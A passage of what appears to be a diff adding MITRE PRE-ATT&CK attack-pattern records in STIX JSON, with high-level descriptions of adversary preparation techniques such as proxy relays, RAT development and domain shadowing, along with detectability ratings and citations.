"2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1363", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1363" + }, + { + "description": "JOE STEWART. (2011, August 3). HTran and the Advanced Persistent Threat. Retrieved March 28, 2017.", + "source_name": "SecureWorks HTRAN Analysis" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1130", + "x_mitre_detectable_by_common_defenses_explanation": "Adversary will likely use code repositories, but development will be performed on their local systems.", + "name": "Post compromise tool development", + "description": "After compromise, an adversary may utilize additional tools to facilitate their end goals. This may include tools to further explore the system, move laterally within a network, exfiltrate data, or destroy data. (Citation: SofacyHits)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "build-capabilities" + } + ], + "id": "attack-pattern--df42286d-dfbd-4455-bc9d-aef52ac29aa7", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Post compromise tool development is a standard part of the adversary's protocol in developing the necessary tools required to completely conduct an attack.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1353", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1353" + }, + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved March 9, 2017.", + "source_name": "SofacyHits" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1082", + "x_mitre_detectable_by_common_defenses_explanation": "Algorithmically possible to detect COTS service usage or use of non-specific mailing addresses (PO Boxes, drop sites, etc.)", + "name": "Private whois services", + "description": "Every domain registrar maintains a publicly viewable database that displays contact information for every registered domain. Private 'whois' services display alternative information, such as their own company data, rather than the owner of the domain. (Citation: APT1)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "adversary-opsec" + } + ], + "id": "attack-pattern--3160347f-11ac-44a3-9640-a648b3c17a8f", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Commercially available or easy to set up and/or register using a disposable email account.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1305", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1305" + }, + { + "description": "Mandiant. (n.d.). APT1: Exposing One of China\u2019s Cyber Espionage Units. Retrieved March 5, 2017.", + "source_name": "APT1" + } + ], + "x_mitre_detectable_by_common_defenses": "Yes" + }, + { + "x_mitre_old_attack_id": "PRE-T1112", + "x_mitre_detectable_by_common_defenses_explanation": "Outside of highly specific or rare HW, nearly impossible to detect and track.", + "name": "Procure required equipment and software", + "description": "An adversary will require some physical hardware and software. They may only need a lightweight set-up if most of their activities will take place using on-line infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems. (Citation: NYTStuxnet)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "establish-&-maintain-infrastructure" + } + ], + "id": "attack-pattern--2141aea0-cf38-49aa-9e51-ac34092bc30a", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Ease and availability of current hardware and software, mobile phones (cash and go phones), and additional online technology simplifies adversary process to achieve this technique (and possibly without traceability). The adversary has control of the infrastructure and will likely be able to add/remove tools to infrastructure, whether acquired via hacking or standard computer acquisition (e.g., [https://aws.amazon.com AWS], VPS).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1335", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1335" + }, + { + "description": "William J. Broad, John Markoff, and David E. Sanger. (2011, January 15). Israeli Test on Worm Called Crucial in Iran Nuclear Delay. Retrieved March 1, 2017.", + "source_name": "NYTStuxnet" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1081", + "x_mitre_detectable_by_common_defenses_explanation": "Defenders with standard capabilities will traditionally be able to see the first hop but not all the subsequent earlier hops an adversary takes to be able to conduct reconnaissance.", + "name": "Proxy/protocol relays", + "description": "Proxies act as an intermediary for clients seeking resources from other systems. Using a proxy may make it more difficult to track back the origin of a network communication. (Citation: APT1)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "adversary-opsec" + } + ], + "id": "attack-pattern--b14f6692-b613-44bb-9f30-8381a5ff10d5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Proxies are readily available for the adversary with both free and cost-based options available.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1304", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1304" + }, + { + "description": "Mandiant. (n.d.). APT1: Exposing One of China\u2019s Cyber Espionage Units. Retrieved March 5, 2017.", + "source_name": "APT1" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1150", + "x_mitre_detectable_by_common_defenses_explanation": "For non-corporate cellular devices not joined to the corporate network, it is not possible to detect an adversary's use of the technique because messages traverse networks outside of the control of the employer. For corporate cellular devices which are joined to the corporate network, monitoring of messages and ability to patch against push attacks is possible, assuming they are fully monitored.", + "name": "Push-notification client-side exploit", + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nA technique to push an [iOS](https://www.apple.com/ios) or [Android](https://www.android.com) MMS-type message to the target which does not require interaction on the part of the target to be successful. (Citation: BlackHat Stagefright) (Citation: WikiStagefright)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "launch" + } + ], + "id": "attack-pattern--702dc95d-3266-42dc-9eef-4a19e2445148", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true, + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Easily executed technique to push an MMS-type message to the target which does not require interaction on the part of the target to be successful.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_detectable_by_common_defenses": "No", + "external_references": [ + { + "external_id": "T1373", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1373" + }, + { + "description": "Joshua Drake. (2015, August 5). Stagefright: Scary Code in the Heart of Android. Retrieved March 29, 2017.", + "source_name": "BlackHat Stagefright" + }, + { + "description": "Wikipedia contributors. (2017, March 8). Stagefright (bug). Retrieved March 9, 2017.", + "source_name": "WikiStagefright" + } + ], + "modified": "2018-10-17T00:14:20.652Z" + }, + { + "x_mitre_old_attack_id": "PRE-T1016", + "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.", + "name": "Receive KITs/KIQs and determine requirements", + "description": "Applicable agencies and/or personnel receive intelligence requirements and evaluate them to determine sub-requirements related to topics, questions, or requirements. For example, an adversary's nuclear energy requirements may be further divided into nuclear facilities versus nuclear warhead capabilities. (Citation: AnalystsAndPolicymaking)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "priority-definition-direction" + } + ], + "id": "attack-pattern--acfcbe7a-4dbc-4471-be2b-134faf479e3e", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Normal aspect of adversary planning lifecycle. May not be done by all adversaries.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1239", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1239" + }, + { + "description": "Jack Davis. (2002, September). Improving CIA Analytic Performance: Analysts and the Policymaking Process. Retrieved March 5, 2017.", + "source_name": "AnalystsAndPolicymaking" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1012", + "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.", + "name": "Receive operator KITs/KIQs tasking", + "description": "Analysts may receive intelligence requirements from leadership and begin research process to satisfy a requirement. Part of this process may include delineating between needs and wants and thinking through all the possible aspects associating with satisfying a requirement. (Citation: FBIIntelligencePrimer)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "priority-definition-planning" + } + ], + "id": "attack-pattern--7863b7f1-c18a-4aad-a6cf-4aa6d8797531", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Normal aspect of adversary planning lifecycle. May not be done by all adversaries.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1235", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1235" + }, + { + "description": "FBI. (n.d.). Intelligence Branch: Intelligence Primer. Retrieved March 2, 2017.", + "source_name": "FBIIntelligencePrimer" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1128", + "x_mitre_detectable_by_common_defenses_explanation": "Adversary will likely use code repositories, but development will be performed on their local systems.", + "name": "Remote access tool development", + "description": "A remote access tool (RAT) is a piece of software that allows a remote user to control a system as if they had physical access to that system. An adversary may utilize existing RATs, modify existing RATs, or create their own RAT. (Citation: ActiveMalwareEnergy)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "build-capabilities" + } + ], + "id": "attack-pattern--9755ecdc-deb0-40e6-af49-713cb0f8ed92", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Many successful RATs exist for re-use/tailoring in addition to those an adversary may choose to build from scratch. The adversary's capabilities, target sensitivity, and needs will likely determine whether a previous RAT is modified for use a new one is built from scratch.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1351", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1351" + }, + { + "description": "Dan Goodin. (2014, June 30). Active malware operation let attackers sabotage US energy industry. Retrieved March 9, 2017.", + "source_name": "ActiveMalwareEnergy" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1155", + "x_mitre_detectable_by_common_defenses_explanation": "On the host end user system, integrity checking (e.g., hash verification, code signing enforcement), application whitelisting, sandboxing, or behavioral-based/heuristic-based systems are most likely to be successful in detecting this technique. On the source webserver, detecting binary changes is easy to detect if performed.", + "name": "Replace legitimate binary with malware", + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nReplacing a legitimate binary with malware can be accomplished either by replacing a binary on a legitimate download site or standing up a fake or alternative site with the malicious binary. The intent is to have a user download and run the malicious binary thereby executing malware. (Citation: FSecureICS)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "launch" + } + ], + "id": "attack-pattern--0d759854-9b69-438c-8325-74b03cc80cf0", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true, + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Requires the adversary to replace a binary on a website where users will download the binary (e.g., patch, firmware update, software application) as innately trusted. The additional challenge is the reduced set of vendor-trusted websites that are vulnerable.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_difficulty_for_adversary": "No", + "x_mitre_detectable_by_common_defenses": "No", + "external_references": [ + { + "external_id": "T1378", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1378" + }, + { + "description": "Daavid and Antti. (2014, June 23). Havex Hunts For ICS/SCADA Systems. Retrieved March 9, 2017.", + "source_name": "FSecureICS" + } + ], + "modified": "2018-10-17T00:14:20.652Z" + }, + { + "x_mitre_old_attack_id": "PRE-T1068", + "x_mitre_detectable_by_common_defenses_explanation": "Public source external to the defender's organization.", + "name": "Research relevant vulnerabilities/CVEs", + "description": "Common Vulnerability Enumeration (CVE) is a dictionary of publicly known information about security vulnerabilities and exposures. An adversary can use this information to target specific software that may be vulnerable. (Citation: WeaponsVulnerable) (Citation: KasperskyCarbanak)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "technical-weakness-identification" + } + ], + "id": "attack-pattern--abd5bed1-4c12-45de-a623-ab8dc4ff862a", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Using standard headers/fingerprints from normal traffic, it is often trivial to identify the SW or HW the target is running, which can be correlated against known CVEs and exploit packages.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1291", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1291" + }, + { + "description": "Jack Smith IV. (2015, January 22). Pentagon Chief Weapons Tester: Almost All Military Programs Vulnerable to Cyber-Attacks. Retrieved March 5, 2017.", + "source_name": "WeaponsVulnerable" + }, + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved March 27, 2017.", + "source_name": "KasperskyCarbanak" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1067", + "x_mitre_detectable_by_common_defenses_explanation": "Public source external to the defender's organization.", + "name": "Research visibility gap of security vendors", + "description": "If an adversary can identify which security tools a victim is using they may be able to identify ways around those tools. (Citation: CrowdStrike Putter Panda)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "technical-weakness-identification" + } + ], + "id": "attack-pattern--b26babc7-9127-4bd5-9750-5e49748c9be3", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "No", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Requires in-depth research and potentially other intrusions, requires unbounded amount of work to possibly find a return on investment", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1290", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1290" + }, + { + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "source_name": "CrowdStrike Putter Panda", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1135", + "x_mitre_detectable_by_common_defenses_explanation": "Adversary controls the test and defender likely has no visibility.", + "name": "Review logs and residual traces", + "description": "Execution of code and network communications often result in logging or other system or network forensic artifacts. An adversary can run their code to identify what is recorded under different conditions. This may result in changes to their code or adding additional actions (such as deleting a record from a log) to the code. (Citation: EDB-39007) (Citation: infosec-covering-tracks)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "test-capabilities" + } + ], + "id": "attack-pattern--a16e4004-caac-4a0b-acd5-486f8fda1665", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Adversary has full control of environment to determine what level of auditing and traces exist on a system after execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1358", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1358" + }, + { + "description": "Tavis Ormandy and Natalie Silvanovich. (2015, December 16). FireEye - Wormable Remote Code Execution in MIP JAR Analysis. Retrieved March 9, 2017.", + "source_name": "EDB-39007" + }, + { + "description": "Infosec Institute. (2015, September 9). Covering Tracks of Attacks. Retrieved May 9, 2017.", + "source_name": "infosec-covering-tracks" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1172", + "x_mitre_detectable_by_common_defenses_explanation": "Third-party mobile application security analysis services exist that scan for use of these techniques in iOS and Android applications. Additionally, Google specifically calls out the ability to \"identify attacks that require connection to a server and dynamic downloading of code\" in its Android Security 2015 Year in Review report. However, many applications use these techniques as part of their legitimate operation, increasing the difficulty of detecting or preventing malicious use.", + "name": "Runtime code download and execution", + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nMany mobile devices are configured to only allow applications to be installed from the mainstream vendor app stores (e.g., Apple App Store and Google Play Store). These app stores scan submitted applications for malicious behavior. However, applications can evade these scans by downloading and executing new code at runtime that was not included in the original application package. (Citation: Fruit vs Zombies) (Citation: Android Hax) (Citation: Execute This!) (Citation: HT Fake News App) (Citation: Anywhere Computing kill 2FA) (Citation: Android Security Review 2015)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "launch" + } + ], + "id": "attack-pattern--41086474-e6de-4fac-bb69-640db7fdf3d2", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Runtime code execution techniques and examples of their use are widely documented on both Apple iOS and Android.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detectable_by_common_defenses": "Partial", + "external_references": [ + { + "external_id": "T1395", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1395" + }, + { + "description": "Claud Xiao. (2016). Fruit vs Zombies: Defeat Non-jailbroken iOS Malware. Retrieved April 12, 2017.", + "source_name": "Fruit vs Zombies" + }, + { + "description": "Jon Oberheide. (2010). Android Hax. Retrieved April 12, 2017.", + "source_name": "Android Hax" + }, + { + "description": "Sebastian Poeplau, Yanick Fratantonio, Antonio Bianchi, Christopher Kruegel, Giovanni Vigna. (2014). Execute This! Analyzing Unsafe and Malicious Dynamic Code Loading in Android Applications. Retrieved April 12, 2017.", + "source_name": "Execute This!" + }, + { + "description": "Wish Wu. (2016, July 15). Fake News App in Hacking Team Dump Designed to Bypass Google Play. Retrieved April 12, 2017.", + "source_name": "HT Fake News App" + }, + { + "description": "Radhesh Krishnan Konoth, Victor van der Veen and Herbert Bos. (2016). How Anywhere Computing Just Killed Your Phone-Based Two-Factor Authentication. Retrieved April 12, 2017.", + "source_name": "Anywhere Computing kill 2FA" + }, + { + "description": "Google. (2016, April). Android Security 2015 Year In Review. Retrieved April 12, 2017.", + "source_name": "Android Security Review 2015" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ] + }, + { + "x_mitre_old_attack_id": "PRE-T1114", + "x_mitre_detectable_by_common_defenses_explanation": "Defender can monitor for domains similar to popular sites (possibly leverage [https://www.alexa.com Alexa] top ''N'' lists as starting point).", + "name": "SSL certificate acquisition for domain", + "description": "Certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. Acquiring a certificate for a domain name similar to one that is expected to be trusted may allow an adversary to trick a user in to trusting the domain (e.g., vvachovia instead of [Wachovia](https://www.wellsfargo.com/about/corporate/wachovia) -- homoglyphs). (Citation: SubvertSSL) (Citation: PaypalScam)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "establish-&-maintain-infrastructure" + } + ], + "id": "attack-pattern--e34b9ca1-8778-41a3-bba5-8edaab4076dc", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "SSL certificates are readily available at little to no cost.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1337", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1337" + }, + { + "description": "Ryan Singel. (2010, March 24). Law Enforcement Appliance Subverts SSL. Retrieved March 2, 2017.", + "source_name": "SubvertSSL" + }, + { + "description": "Bob Sullivan. (2000, July 24). PayPal alert! Beware the 'PaypaI' scam. Retrieved March 2, 2017.", + "source_name": "PaypalScam" + } + ], + "x_mitre_detectable_by_common_defenses": "Yes" + }, + { + "x_mitre_old_attack_id": "PRE-T1115", + "x_mitre_detectable_by_common_defenses_explanation": "The certificate authority who is hacked cannot easily see they've been compromised, but [https://www.google.com Google] has caught on to this occurring in previous attacks such as DigiNotarDigiNotar2016 and [https://www.verisign.com Verisign].", + "name": "SSL certificate acquisition for trust breaking", + "description": "Fake certificates can be acquired by legal process or coercion. Or, an adversary can trick a Certificate Authority into issuing a certificate. These fake certificates can be used as a part of Man-in-the-Middle attacks. (Citation: SubvertSSL)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "establish-&-maintain-infrastructure" + } + ], + "id": "attack-pattern--54a42187-a20c-4e4e-ba31-8d15c9e1f57f", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "No", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "One example of it occurring in the real world is the DigiNotarDigiNotar2016 case. To be able to do this usually requires sophisticated skills and is traditionally done by a nation state to spy on its citizens.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1338", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1338" + }, + { + "description": "Ryan Singel. (2010, March 24). Law Enforcement Appliance Subverts SSL. Retrieved March 2, 2017.", + "source_name": "SubvertSSL" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1094", + "x_mitre_detectable_by_common_defenses_explanation": "Indistinguishable from standard security practices employed by legitimate operators.", + "name": "Secure and protect infrastructure", + "description": "An adversary may secure and protect their infrastructure just as defenders do. This could include the use of VPNs, security software, logging and monitoring, passwords, or other defensive measures. (Citation: KrebsTerracottaVPN)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "adversary-opsec" + } + ], + "id": "attack-pattern--cc0faf66-4df2-4328-9c9c-b0ca5de915ad", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Adversary benefits from our own advances, techniques, and software when securing and protecting their own development infrastructure.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1317", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1317" + }, + { + "description": "Brian Krebs. (2014, August 4). Chinese VPN Service as Attack Platform?. Retrieved March 6, 2017.", + "source_name": "KrebsTerracottaVPN" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1117", + "x_mitre_detectable_by_common_defenses_explanation": "Detection of this technique requires individuals to monitor their domain registrant accounts routinely. In addition, defenders have had success with blacklisting sites or IP addresses, but an adversary can defeat this by rotating either the subdomains or the IP addresses associated with the campaign.", + "name": "Shadow DNS", + "description": "The process of gathering domain account credentials in order to silently create subdomains pointed at malicious servers without tipping off the actual owner. (Citation: CiscoAngler) (Citation: ProofpointDomainShadowing)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "establish-&-maintain-infrastructure" + } + ], + "id": "attack-pattern--3f157dee-74f0-41fc-801e-f837b8985b0a", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "To successfully conduct this attack, an adversary usually phishes the individual behind the domain registrant account, logs in with credentials, and creates a large amount of subdomains.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1340", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1340" + }, + { + "description": "Nick Biasini. (2015, March 3). Threat Spotlight: Angler Lurking in the Domain Shadows. Retrieved March 6, 2017.", + "source_name": "CiscoAngler" + }, + { + "description": "Proofpoint Staff. (2015, December 15). The shadow knows: Malvertising campaigns use domain shadowing to pull in Angler EK. Retrieved March 6, 2017.", + "source_name": "ProofpointDomainShadowing" + } + ], + "x_mitre_detectable_by_common_defenses": "Partial" + }, + { + "x_mitre_old_attack_id": "PRE-T1144", + "x_mitre_detectable_by_common_defenses_explanation": "Many technologies exist to scan content and/or emulate a workstation prior to the target receiving and executing the attachment (detonation chambers) in order to reduce malicious emails and attachments being delivered to the intended target. However, encryption continues to be a stumbling block. In addition, there are a variety of commercial technologies available that enable users to screen for phishing messages and which are designed to enhance email security.", + "name": "Spear phishing messages with malicious attachments", + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nEmails with malicious attachments are designed to get a user to open/execute the attachment in order to deliver malware payloads. (Citation: APT1)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "launch" + } + ], + "id": "attack-pattern--e24a9f99-cb76-42a3-a50b-464668773e97", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true, + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Sending the emails is the simple part, ensuring they make it to the target (e.g., not being filtered) may be challenging. Over time, an adversary refines their techniques to minimize detection by making their emails seem legitimate in structure and content.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_detectable_by_common_defenses": "Yes", + "external_references": [ + { + "external_id": "T1367", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1367" + }, + { + "description": "Mandiant. (n.d.). APT1: Exposing One of 